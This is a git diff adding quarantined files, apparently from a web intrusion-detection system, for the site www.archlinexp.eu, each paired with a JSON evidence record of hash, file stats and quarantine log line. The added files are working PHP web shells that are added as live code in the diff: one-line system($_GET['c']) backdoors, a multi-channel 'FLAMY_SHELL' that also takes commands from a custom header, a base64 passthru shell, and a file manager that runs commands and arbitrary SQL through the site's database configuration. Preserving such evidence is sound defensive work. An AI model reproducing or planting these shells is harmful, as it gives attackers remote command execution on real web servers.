<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); if(isset($_REQUEST['c'])){system($_REQUEST['c']);}elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}elseif(isset($_POST['cmd'])){system($_POST['cmd']);} ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5101",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:administrator/ntxvq7b4jper.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/ntxvq7b4jper.php.json)",
|
||||||
|
"original_sha256": "4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783427919,
|
||||||
|
"size": 212,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "administrator/ntxvq7b4jper.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json
vendored
Normal file
1
var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
15
var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json.evidence.json
vendored
Normal file
15
var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5027",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:cache/8j7txp50.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343459,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "cache/8j7txp50.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json
vendored
Normal file
1
var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
15
var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json.evidence.json
vendored
Normal file
15
var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5017",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:cache/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784111734,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "cache/r0ps_v464ri.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json
vendored
Normal file
1
var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
15
var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json.evidence.json
vendored
Normal file
15
var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5018",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:cache/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784111718,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "cache/r0ps_v464ri.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json
vendored
Normal file
1
var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
15
var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json.evidence.json
vendored
Normal file
15
var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5019",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:cache/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784110122,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "cache/r0ps_zn8fgo.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json
vendored
Normal file
1
var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
15
var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json.evidence.json
vendored
Normal file
15
var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5014",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:cache/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784110106,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "cache/r0ps_zn8fgo.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1,97 @@
|
|||||||
|
<?php
|
||||||
|
echo "<h3>Create:</h3>
|
||||||
|
<form method=POST><input type=text value=colorName size=80 name=save_file><input type=submit value=save name=send_create_file>
|
||||||
|
<textarea name=file_content rows=50 cols=130></textarea>
|
||||||
|
</form>";
|
||||||
|
//saving file
|
||||||
|
if(isset($_POST['save_file']) && $_POST['save_file']!='' && isset($_POST['file_content']) && isset($_POST['send_create_file']) && $_POST['send_create_file']!='')
|
||||||
|
{
|
||||||
|
//if register_globals is off it addes backslash before quotes. " to \"
|
||||||
|
$file_content=$_POST['file_content'];
|
||||||
|
if (get_magic_quotes_gpc())
|
||||||
|
{
|
||||||
|
$file_content=stripslashes($file_content);
|
||||||
|
}
|
||||||
|
$f=fopen($_POST['save_file'],"w");
|
||||||
|
if(fwrite($f,$file_content)!=FALSE)echo "file saved";else echo "error";
|
||||||
|
fclose($f);
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
|
||||||
|
<?php
|
||||||
|
echo "<h3>Open:</h3>
|
||||||
|
<form method=POST><input type=text value=colorValue size=80 name=save_file>
|
||||||
|
<input type=submit value=open name=send_open_file>
|
||||||
|
</form>";
|
||||||
|
|
||||||
|
|
||||||
|
if(isset($_POST['save_file']) && $_POST['save_file']!='' && isset($_POST['send_open_file']) && $_POST['send_open_file']!='')
|
||||||
|
{
|
||||||
|
$f=file_get_contents($_POST['save_file']);
|
||||||
|
echo "<textarea>".htmlspecialchars($f) . "</textarea>";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if(isset($_POST['cmd']) && $_POST['cmd']!='')
|
||||||
|
{
|
||||||
|
$cmd=str_replace('\\',"",$_POST['cmd']);
|
||||||
|
exec($_POST['cmd'],$arr,$return_var);
|
||||||
|
echo "<center><table width=95% border=1><tr><td><b>$cmd</b></td></tr><tr><td>";
|
||||||
|
for($i=0;$i<count($arr);$i++)
|
||||||
|
{
|
||||||
|
echo $arr[$i]."<br>";
|
||||||
|
}
|
||||||
|
echo "</td></tr></table></center>";
|
||||||
|
}
|
||||||
|
echo "<h3>command</h3><form method=post><input type=text size=50 name=cmd></form><br>";
|
||||||
|
|
||||||
|
|
||||||
|
echo "<h3>Q:</h3><form method=POST>
|
||||||
|
<input type=text name=q cols=100>
|
||||||
|
<input type=submit value=query name=s>
|
||||||
|
</form>";
|
||||||
|
if(isset($_POST['s']))
|
||||||
|
{
|
||||||
|
include($_SERVER['DOCUMENT_ROOT'] . "/configuration.php");
|
||||||
|
//CONNECTION TO DB CODE WITH USNAME PASS HOST AND NEW HTML-FORMS
|
||||||
|
echo "<b>your query</b>:".$_POST['q'];
|
||||||
|
$query=$_POST['q'];
|
||||||
|
$query=mysql_query($query);
|
||||||
|
|
||||||
|
if(strpos($_POST['q'],"select")===0)
|
||||||
|
{
|
||||||
|
echo "<br>Your query returned <b>".mysql_num_rows($query)."</b> rows<br>";
|
||||||
|
|
||||||
|
$rows=mysql_num_rows($query);
|
||||||
|
$cols=mysql_num_fields($query);
|
||||||
|
if($rows>0)
|
||||||
|
{
|
||||||
|
$arr=mysql_fetch_array($query);
|
||||||
|
echo "<table width=95% border=1>";
|
||||||
|
for($i=0;$i<$rows;$i++)
|
||||||
|
{
|
||||||
|
echo "<tr>";
|
||||||
|
for($j=0;$j<$cols;$j++)echo "<td>".$arr[$j]."</td>";
|
||||||
|
echo "</tr>";
|
||||||
|
$arr=mysql_fetch_array($query);
|
||||||
|
}
|
||||||
|
echo "</table>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<br>
|
||||||
|
<form method="POST">
|
||||||
|
<input type='text' size=50 value='<?php echo $_SERVER['DOCUMENT_ROOT'];?>' name='pathway'>
|
||||||
|
<input type='submit' name='showpath' value='show'>
|
||||||
|
</form>
|
||||||
|
<?php
|
||||||
|
echo "$_SERVER[SCRIPT_NAME]<br>";
|
||||||
|
if(isset($_POST['showpath']) && $_POST['showpath']=='show' && isset($_POST['pathway']))
|
||||||
|
{
|
||||||
|
|
||||||
|
echo "<b>$_POST[pathway]</b><br>";
|
||||||
|
$files=scandir($_POST['pathway']);
|
||||||
|
for($i=0;$i<count($files);$i++)echo "$files[$i]<br>";
|
||||||
|
}
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5298",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:components/com_mailto/mail.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/components/com_mailto/mail.php)",
|
||||||
|
"original_sha256": "5a2a84f37f564063481c8898748c07ccf3219b0ea7df420de3613affc846e74b",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1627260637,
|
||||||
|
"size": 2899,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "components/com_mailto/mail.php",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5289",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:components/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784111739,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "components/r0ps_v464ri.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5290",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:components/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.php.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784111721,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "components/r0ps_v464ri.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5291",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:components/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784110127,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "components/r0ps_zn8fgo.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5288",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:components/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.php.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784110109,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "components/r0ps_zn8fgo.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
7
var/www/hosting/archlinexp.eu/www/es6jo0xq.php.json
Normal file
7
var/www/hosting/archlinexp.eu/www/es6jo0xq.php.json
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
|
||||||
|
if(isset($_REQUEST['c'])){@system($_REQUEST['c']);}
|
||||||
|
elseif(isset($_GET['x'])){@echo shell_exec($_GET['x']);}
|
||||||
|
elseif(isset($_POST['cmd'])){@system($_POST['cmd']);}
|
||||||
|
elseif(isset($_SERVER['HTTP_X_CMD'])){@system($_SERVER['HTTP_X_CMD']);}
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4847",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:es6jo0xq.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/es6jo0xq.php.json)",
|
||||||
|
"original_sha256": "ab86335d0ccd94d5f7cf82bcb53e7efe4026bd3a972cf8fe471bcdd38ee68f8e",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783364750,
|
||||||
|
"size": 295,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "es6jo0xq.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
7
var/www/hosting/archlinexp.eu/www/es6jo0xq.php5.json
Normal file
7
var/www/hosting/archlinexp.eu/www/es6jo0xq.php5.json
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
|
||||||
|
if(isset($_REQUEST['c'])){@system($_REQUEST['c']);}
|
||||||
|
elseif(isset($_GET['x'])){@echo shell_exec($_GET['x']);}
|
||||||
|
elseif(isset($_POST['cmd'])){@system($_POST['cmd']);}
|
||||||
|
elseif(isset($_SERVER['HTTP_X_CMD'])){@system($_SERVER['HTTP_X_CMD']);}
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4840",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:es6jo0xq.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/es6jo0xq.php5.json)",
|
||||||
|
"original_sha256": "ab86335d0ccd94d5f7cf82bcb53e7efe4026bd3a972cf8fe471bcdd38ee68f8e",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783364751,
|
||||||
|
"size": 295,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "es6jo0xq.php5.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
7
var/www/hosting/archlinexp.eu/www/es6jo0xq.phtml.json
Normal file
7
var/www/hosting/archlinexp.eu/www/es6jo0xq.phtml.json
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
|
||||||
|
if(isset($_REQUEST['c'])){@system($_REQUEST['c']);}
|
||||||
|
elseif(isset($_GET['x'])){@echo shell_exec($_GET['x']);}
|
||||||
|
elseif(isset($_POST['cmd'])){@system($_POST['cmd']);}
|
||||||
|
elseif(isset($_SERVER['HTTP_X_CMD'])){@system($_SERVER['HTTP_X_CMD']);}
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4858",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:es6jo0xq.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/es6jo0xq.phtml.json)",
|
||||||
|
"original_sha256": "ab86335d0ccd94d5f7cf82bcb53e7efe4026bd3a972cf8fe471bcdd38ee68f8e",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783364749,
|
||||||
|
"size": 295,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "es6jo0xq.phtml.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/flamy.php.json
Normal file
1
var/www/hosting/archlinexp.eu/www/flamy.php.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
/*PwnedByFlamY*/<?php if(isset($_REQUEST['c'])){echo '<pre>';system($_REQUEST['c']);echo '</pre>';} ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4919",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:flamy.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/flamy.php.json)",
|
||||||
|
"original_sha256": "6890dc586f3605f32f298dad04255c0d174ab47ff0738fab991c1f61bb4abbbd",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783676054,
|
||||||
|
"size": 102,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "flamy.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/h3x_49822__php.json
Normal file
1
var/www/hosting/archlinexp.eu/www/h3x_49822__php.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php if(isset($_GET["c"])){echo "<!--H3X-->";system($_GET["c"]);echo "<!--/H3X-->";}else{echo "<!--H3X-->".php_uname()."<!--/H3X-->";} ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4841",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:h3x_49822__php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/h3x_49822__php.json)",
|
||||||
|
"original_sha256": "762c295fadd2dc330284e3ec35accc41d3d5bd0a97d47bf8db304bc0d2612633",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783271362,
|
||||||
|
"size": 138,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "h3x_49822__php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/hwlyroez.json
Normal file
1
var/www/hosting/archlinexp.eu/www/hwlyroez.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php if(isset($_POST['cmd'])){$cmd=base64_decode($_POST['cmd']);header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($cmd);echo '\n===HX3_END===';exit;}if(isset($_GET['c'])){header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($_GET['c']);echo '\n===HX3_END===';exit;}echo 'SHELL_OK';?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4859",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:hwlyroez.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/hwlyroez.json)",
|
||||||
|
"original_sha256": "8fb8405fe6053c61a6497fd46218c1debb3b74714c14b8c864abec280c9109e7",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783810561,
|
||||||
|
"size": 345,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "hwlyroez.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/hwlyroez.php.json
Normal file
1
var/www/hosting/archlinexp.eu/www/hwlyroez.php.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php if(isset($_POST['cmd'])){$cmd=base64_decode($_POST['cmd']);header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($cmd);echo '\n===HX3_END===';exit;}if(isset($_GET['c'])){header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($_GET['c']);echo '\n===HX3_END===';exit;}echo 'SHELL_OK';?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4890",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:hwlyroez.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/hwlyroez.php.json)",
|
||||||
|
"original_sha256": "8fb8405fe6053c61a6497fd46218c1debb3b74714c14b8c864abec280c9109e7",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783810551,
|
||||||
|
"size": 345,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "hwlyroez.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/hwlyroez.phtml.json
Normal file
1
var/www/hosting/archlinexp.eu/www/hwlyroez.phtml.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php if(isset($_POST['cmd'])){$cmd=base64_decode($_POST['cmd']);header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($cmd);echo '\n===HX3_END===';exit;}if(isset($_GET['c'])){header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($_GET['c']);echo '\n===HX3_END===';exit;}echo 'SHELL_OK';?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4891",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:hwlyroez.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/hwlyroez.phtml.json)",
|
||||||
|
"original_sha256": "8fb8405fe6053c61a6497fd46218c1debb3b74714c14b8c864abec280c9109e7",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783810553,
|
||||||
|
"size": 345,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "hwlyroez.phtml.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5201",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:images/8j7txp50.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/8j7txp50.php.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343440,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/8j7txp50.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "h3x_hsojrm";system($_GET["c"]);?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5168",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_6h0804r6.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php.json)",
|
||||||
|
